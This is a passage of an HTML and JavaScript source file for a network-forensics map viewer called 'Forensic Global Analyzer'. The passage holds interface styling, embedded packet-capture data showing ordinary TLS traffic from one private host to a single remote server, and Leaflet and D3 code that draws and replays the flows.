#e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"192.168.122.168\", \"ip\": \"192.168.122.168\", \"packet_count\": 16, \"total_bytes_sent\": 3138, \"total_bytes_received\": 0, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"ports_used\": [49899, 49892], \"first_seen\": 1777475599.749145, \"last_seen\": 1777475632.747085, \"packets\": [{\"num\": 0, \"time\": 1777475599.749145, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 1, \"time\": 1777475600.054794, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1777475600.664177, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 3, \"time\": 1777475601.8673, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 4, \"time\": 1777475603.070404, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1777475604.273504, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1777475606.679735, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 7, \"time\": 1777475611.492126, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1777475613.806131, \"size\": 301, \"direction\": \"sent\"}, {\"num\": 9, \"time\": 1777475614.116976, \"size\": 301, \"direction\": \"sent\"}, {\"num\": 10, \"time\": 1777475614.726326, \"size\": 301, \"direction\": \"sent\"}, {\"num\": 11, \"time\": 1777475615.929634, \"size\": 301, \"direction\": \"sent\"}, {\"num\": 12, \"time\": 1777475618.330775, \"size\": 301, \"direction\": \"sent\"}, {\"num\": 13, \"time\": 1777475621.289985, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 14, \"time\": 1777475623.140551, \"size\": 301, \"direction\": \"sent\"}, {\"num\": 15, \"time\": 1777475632.747085, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 32.99794006347656, \"avg_packet_size\": 196.125, \"packets_per_second\": 0.4848787521045727}, {\"id\": \"4.213.25.240\", \"ip\": \"4.213.25.240\", \"packet_count\": 16, \"total_bytes_sent\": 0, \"total_bytes_received\": 3138, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"ports_used\": [443], \"first_seen\": 1777475599.749145, \"last_seen\": 1777475632.747085, \"packets\": [{\"num\": 0, \"time\": 1777475599.749145, \"size\": 153, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1777475600.054794, \"size\": 153, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1777475600.664177, \"size\": 153, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1777475601.8673, \"size\": 153, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1777475603.070404, \"size\": 153, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1777475604.273504, \"size\": 153, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1777475606.679735, \"size\": 153, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1777475611.492126, \"size\": 153, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1777475613.806131, \"size\": 301, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1777475614.116976, \"size\": 301, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1777475614.726326, \"size\": 301, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1777475615.929634, \"size\": 301, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1777475618.330775, \"size\": 301, \"direction\": \"received\"}, {\"num\": 13, \"time\": 1777475621.289985, \"size\": 54, \"direction\": \"received\"}, {\"num\": 14, \"time\": 1777475623.140551, \"size\": 301, \"direction\": \"received\"}, {\"num\": 15, \"time\": 1777475632.747085, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"India\", \"city\": \"Pune\", \"lat\": 18.5211, \"lon\": 73.8502, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"4.213.0.0/16\"}, \"duration\": 32.99794006347656, \"avg_packet_size\": 196.125, \"packets_per_second\": 0.4848787521045727}];\n        const edges = [{\"source\": \"192.168.122.168\", \"target\": \"4.213.25.240\", \"packet_count\": 16, \"total_bytes\": 3138, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [49899, 49892], \"dst_ports\": [443], \"first_packet\": 1777475599.749145, \"last_packet\": 1777475632.747085, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1777475599.749145, \"timestamp_iso\": \"2026-04-29T20:43:19.749145\", \"timestamp_human\": \"2026-04-29 20:43:19.749\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46845, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 1, \"timestamp\": 1777475600.054794, \"timestamp_iso\": \"2026-04-29T20:43:20.054794\", \"timestamp_human\": \"2026-04-29 20:43:20.054\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46846, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 2, \"timestamp\": 1777475600.664177, \"timestamp_iso\": \"2026-04-29T20:43:20.664177\", \"timestamp_human\": \"2026-04-29 20:43:20.664\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46847, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 3, \"timestamp\": 1777475601.8673, \"timestamp_iso\": \"2026-04-29T20:43:21.867300\", \"timestamp_human\": \"2026-04-29 20:43:21.867\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46848, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1777475603.070404, \"timestamp_iso\": \"2026-04-29T20:43:23.070404\", \"timestamp_human\": \"2026-04-29 20:43:23.070\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46849, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 5, \"timestamp\": 1777475604.273504, \"timestamp_iso\": \"2026-04-29T20:43:24.273504\", \"timestamp_human\": \"2026-04-29 20:43:24.273\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46850, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1777475606.679735, \"timestamp_iso\": \"2026-04-29T20:43:26.679735\", \"timestamp_human\": \"2026-04-29 20:43:26.679\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46851, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 7, \"timestamp\": 1777475611.492126, \"timestamp_iso\": \"2026-04-29T20:43:31.492126\", \"timestamp_human\": \"2026-04-29 20:43:31.492\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46852, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 8, \"timestamp\": 1777475613.806131, \"timestamp_iso\": \"2026-04-29T20:43:33.806131\", \"timestamp_human\": \"2026-04-29 20:43:33.806\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46853, \"ip_len\": 287, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 9, \"timestamp\": 1777475614.116976, \"timestamp_iso\": \"2026-04-29T20:43:34.116976\", \"timestamp_human\": \"2026-04-29 20:43:34.116\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46854, \"ip_len\": 287, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 10, \"timestamp\": 1777475614.726326, \"timestamp_iso\": \"2026-04-29T20:43:34.726326\", \"timestamp_human\": \"2026-04-29 20:43:34.726\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46855, \"ip_len\": 287, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 11, \"timestamp\": 1777475615.929634, \"timestamp_iso\": \"2026-04-29T20:43:35.929634\", \"timestamp_human\": \"2026-04-29 20:43:35.929\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46856, \"ip_len\": 287, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 12, \"timestamp\": 1777475618.330775, \"timestamp_iso\": \"2026-04-29T20:43:38.330775\", \"timestamp_human\": \"2026-04-29 20:43:38.330\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46857, \"ip_len\": 287, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 13, \"timestamp\": 1777475621.289985, \"timestamp_iso\": \"2026-04-29T20:43:41.289985\", \"timestamp_human\": \"2026-04-29 20:43:41.289\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46858, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783903, \"tcp_ack\": 1692602478, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}, {\"packet_number\": 14, \"timestamp\": 1777475623.140551, \"timestamp_iso\": \"2026-04-29T20:43:43.140551\", \"timestamp_human\": \"2026-04-29 20:43:43.140\", \"size\": 301, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46859, \"ip_len\": 287, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 15, \"timestamp\": 1777475632.747085, \"timestamp_iso\": \"2026-04-29T20:43:52.747085\", \"timestamp_human\": \"2026-04-29 20:43:52.747\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46860, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411404, \"tcp_ack\": 1369756557, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"PSH\": 14, \"ACK\": 16, \"RST\": 2}, \"packet_sizes\": [153, 153, 153, 153, 153, 153, 153, 153, 301, 301, 301, 301, 301, 54, 301, 54], \"inter_packet_intervals\": [0.3056490421295166, 0.6093828678131104, 1.2031230926513672, 1.203104019165039, 1.2030999660491943, 2.406230926513672, 4.812391042709351, 2.314004898071289, 0.31084513664245605, 0.6093499660491943, 1.20330810546875, 2.4011409282684326, 2.95920991897583, 1.8505661487579346, 9.606534004211426], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 32.99794006347656, \"avg_packet_size\": 196.125, \"packets_per_second\": 0.4848787521045727, \"bytes_per_second\": 95.09684525650933, \"min_packet_size\": 54, \"max_packet_size\": 301, \"median_packet_size\": 153, \"avg_interval\": 2.1998626708984377, \"min_interval\": 0.3056490421295166, \"max_interval\": 9.606534004211426}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return 